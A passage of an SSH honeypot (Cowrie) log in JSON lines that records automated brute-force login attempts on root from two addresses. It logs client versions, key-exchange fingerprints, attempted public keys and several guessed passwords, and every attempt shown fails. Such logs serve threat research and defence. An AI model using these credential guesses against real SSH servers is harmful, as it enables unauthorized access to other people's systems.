256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:54.147136Z","src_ip":"60.165.124.241","session":"950c274ffd83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456","message":"login attempt [root/admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:54.887893Z","src_ip":"60.165.124.241","session":"950c274ffd83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:56.141843Z","src_ip":"60.165.124.241","session":"950c274ffd83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46720,"dst_ip":"10.17.0.5","dst_port":22,"session":"017a7b980f42","protocol":"ssh","message":"New connection: 60.165.124.241:46720 (10.17.0.5:22) [session: 017a7b980f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:56.388708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:56.393543Z","src_ip":"60.165.124.241","session":"017a7b980f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:56.629683Z","src_ip":"60.165.124.241","session":"017a7b980f42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1234!","message":"login attempt [root/Password1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:57.385218Z","src_ip":"60.165.124.241","session":"017a7b980f42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:58.652358Z","src_ip":"60.165.124.241","session":"017a7b980f42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49614,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb0424c089e2","protocol":"ssh","message":"New connection: 60.165.124.241:49614 (10.17.0.5:22) [session: fb0424c089e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:59.911723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:20:59.917761Z","src_ip":"60.165.124.241","session":"fb0424c089e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:00.175504Z","src_ip":"60.165.124.241","session":"fb0424c089e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2025","message":"login attempt [root/Admin2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:00.956807Z","src_ip":"60.165.124.241","session":"fb0424c089e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:02.217659Z","src_ip":"60.165.124.241","session":"fb0424c089e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54028,"dst_ip":"10.17.0.5","dst_port":22,"session":"f90b99621c7a","protocol":"ssh","message":"New connection: 60.165.124.241:54028 (10.17.0.5:22) [session: f90b99621c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:02.463429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:02.468761Z","src_ip":"60.165.124.241","session":"f90b99621c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:02.723311Z","src_ip":"60.165.124.241","session":"f90b99621c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDasd123","message":"login attempt [root/ASDasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:03.485890Z","src_ip":"60.165.124.241","session":"f90b99621c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:04.741321Z","src_ip":"60.165.124.241","session":"f90b99621c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56662,"dst_ip":"10.17.0.5","dst_port":22,"session":"d37ed52597e3","protocol":"ssh","message":"New connection: 60.165.124.241:56662 (10.17.0.5:22) [session: d37ed52597e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:06.032687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:06.038139Z","src_ip":"60.165.124.241","session":"d37ed52597e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:07.091187Z","src_ip":"60.165.124.241","session":"d37ed52597e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jiangtao518518","message":"login attempt [root/Jiangtao518518] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:07.919472Z","src_ip":"60.165.124.241","session":"d37ed52597e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:09.197233Z","src_ip":"60.165.124.241","session":"d37ed52597e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.67.10","src_port":43512,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c75a2a3c2a1","protocol":"ssh","message":"New connection: 135.181.67.10:43512 (10.17.0.5:22) [session: 0c75a2a3c2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:09.647843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:09.652802Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:09.763952Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:6e:1e:70:d7:b9:c4:23:5c:a4:54:55:eb:a6:6a:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ThoHFHtNnClNIPmY/wL5EoyXpSADWavTolO7wH8PIsXGXFTa6efs0CmWf2yXCFGrsGoWnjRNiHBsWPNIQFFp/hLW6Dw9y85Zrn4lVImqYX0MAepJTyrZq2ai21RWD1fr0UPLFbZT2m9At4N5CvfCg+GrczToSHWx3PbNk7h6hEA1pacFCcFJC60sI0LKG7Q/M4uAOh++UmUECUPD+itde+x0ulfK9jo0t4eLwIK20KK10rq3pRZzU4RgzCayMmdzw3/CMcRYawVOW0YKbKs5gpr1d4IpucAHb956UusF07G6AhasvqKp4yf9hiow3mCt8YtR0YY4uDrE1pgBcbEt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:6e:1e:70:d7:b9:c4:23:5c:a4:54:55:eb:a6:6a:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.293763Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:6e:1e:70:d7:b9:c4:23:5c:a4:54:55:eb:a6:6a:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ThoHFHtNnClNIPmY/wL5EoyXpSADWavTolO7wH8PIsXGXFTa6efs0CmWf2yXCFGrsGoWnjRNiHBsWPNIQFFp/hLW6Dw9y85Zrn4lVImqYX0MAepJTyrZq2ai21RWD1fr0UPLFbZT2m9At4N5CvfCg+GrczToSHWx3PbNk7h6hEA1pacFCcFJC60sI0LKG7Q/M4uAOh++UmUECUPD+itde+x0ulfK9jo0t4eLwIK20KK10rq3pRZzU4RgzCayMmdzw3/CMcRYawVOW0YKbKs5gpr1d4IpucAHb956UusF07G6AhasvqKp4yf9hiow3mCt8YtR0YY4uDrE1pgBcbEt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.301532Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:c0:89:ff:53:8c:77:db:71:09:7a:98:b9:0e:10:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+LPf1e11q6pz82R2IGcR3swzJPHrS2cBjLLDt85Xm4a1qe/cGsiEAvAwgf0QbYByP3m9c7G+uEokpzfDf7EWQ78YHK2t/WlYvfGsqUtk01iH8cjQ+WiFX6aFjBvI/SrotK7KBYbITg66a8d5TrF5JtEYyt0w9ztwDLGhG4jyaO3pmv9RIcxdqBNaFczu/a87y0FLdV4iN3WrJc107oNsFi952HsI8Vf5Huri2pVOsaM/YBM6HsMuZEAO5F/akvQEedFZSdqGNFIDGpUfdnCq9+Oa7nEIPthmQ3I86o9zKIVYpP8QfU+j9TR6RgDj9IqeqI2PCJPTMddIt+9slk9xN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:c0:89:ff:53:8c:77:db:71:09:7a:98:b9:0e:10:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.416566Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:c0:89:ff:53:8c:77:db:71:09:7a:98:b9:0e:10:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+LPf1e11q6pz82R2IGcR3swzJPHrS2cBjLLDt85Xm4a1qe/cGsiEAvAwgf0QbYByP3m9c7G+uEokpzfDf7EWQ78YHK2t/WlYvfGsqUtk01iH8cjQ+WiFX6aFjBvI/SrotK7KBYbITg66a8d5TrF5JtEYyt0w9ztwDLGhG4jyaO3pmv9RIcxdqBNaFczu/a87y0FLdV4iN3WrJc107oNsFi952HsI8Vf5Huri2pVOsaM/YBM6HsMuZEAO5F/akvQEedFZSdqGNFIDGpUfdnCq9+Oa7nEIPthmQ3I86o9zKIVYpP8QfU+j9TR6RgDj9IqeqI2PCJPTMddIt+9slk9xN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.420628Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33394,"dst_ip":"10.17.0.5","dst_port":22,"session":"95f2a7fd792d","protocol":"ssh","message":"New connection: 60.165.124.241:33394 (10.17.0.5:22) [session: 95f2a7fd792d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.427615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.432729Z","src_ip":"60.165.124.241","session":"95f2a7fd792d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:21:52:0d:05:1b:9c:ef:f0:bd:e9:ec:46:a0:1d:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOK/Ejmw0+F88A9+JJC/L6dWwbx5w305i2ZZODD7E7OZfGaSDXB6ImHabs8H76nGE3JRKUDZ/JqPGcRnnfm8O0G30xIxK+L6/+6DS4j49Y4xno9tzHfoT5T6ydjDMfjQmj8e3LZhOG+WTTW476cDtqlzPn9yhbsXa3bNidJy5XLfWBlthjm7MgkOTx0SSOMkKerZzHE/fiIP1MGPB3tq4KTAPNtGLZdjOPSXUd2gbriKSUh0lxLReNtZI/dRjYSMiLlT5EAeQAfqjY4u5jrEP8iucFOOct0kKPRzqX0WF+5gC6XprDXoisveRuNHkLbQfTKqQH5wpHyvZqS/pyLmUZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:21:52:0d:05:1b:9c:ef:f0:bd:e9:ec:46:a0:1d:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.532708Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:21:52:0d:05:1b:9c:ef:f0:bd:e9:ec:46:a0:1d:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOK/Ejmw0+F88A9+JJC/L6dWwbx5w305i2ZZODD7E7OZfGaSDXB6ImHabs8H76nGE3JRKUDZ/JqPGcRnnfm8O0G30xIxK+L6/+6DS4j49Y4xno9tzHfoT5T6ydjDMfjQmj8e3LZhOG+WTTW476cDtqlzPn9yhbsXa3bNidJy5XLfWBlthjm7MgkOTx0SSOMkKerZzHE/fiIP1MGPB3tq4KTAPNtGLZdjOPSXUd2gbriKSUh0lxLReNtZI/dRjYSMiLlT5EAeQAfqjY4u5jrEP8iucFOOct0kKPRzqX0WF+5gC6XprDXoisveRuNHkLbQfTKqQH5wpHyvZqS/pyLmUZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.536723Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:a5:0d:a0:99:ca:eb:c5:68:f0:83:5c:4c:92:34:86","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHcm2NdIdQvN7gc5r6or7074j8j5hRlE9wTzGmEonJhC","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2a:a5:0d:a0:99:ca:eb:c5:68:f0:83:5c:4c:92:34:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.648670Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:a5:0d:a0:99:ca:eb:c5:68:f0:83:5c:4c:92:34:86","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHcm2NdIdQvN7gc5r6or7074j8j5hRlE9wTzGmEonJhC","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.653308Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:22:c6:56:49:eb:d3:15:77:0a:2a:41:ab:6c:a1:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSrIJU3DzESQKC1mMEI56giPsIO2t1OSCh5GErRUFucirrIxaMbOXajGNevPVNVcmSQjL0caT4BoaUDgcSbDSXxPOcUwphpuVYWx1FDQZphvQa/vW5Q2gEOXRfOCR/lVFMA/0tTXpD0svFVN/aWlqz03RbZ8dzrn0wEuunJXdGrLaTZfqeLXLyJfSu5cK7cUlE8VpConC2XaLpnQS4oSQEYuGrcDvGDNGrYI/oA28sqhcx1Mpmwm32D1FJI2viuBnyCeLo+JD7UOd8pJYmmdQujhSAfXeWkESYCj2cC6yoRxAua4Sx0Ja7dbdOXa7pdDjZT7NarldOJ8kDRnPY+MbH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:22:c6:56:49:eb:d3:15:77:0a:2a:41:ab:6c:a1:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.766162Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
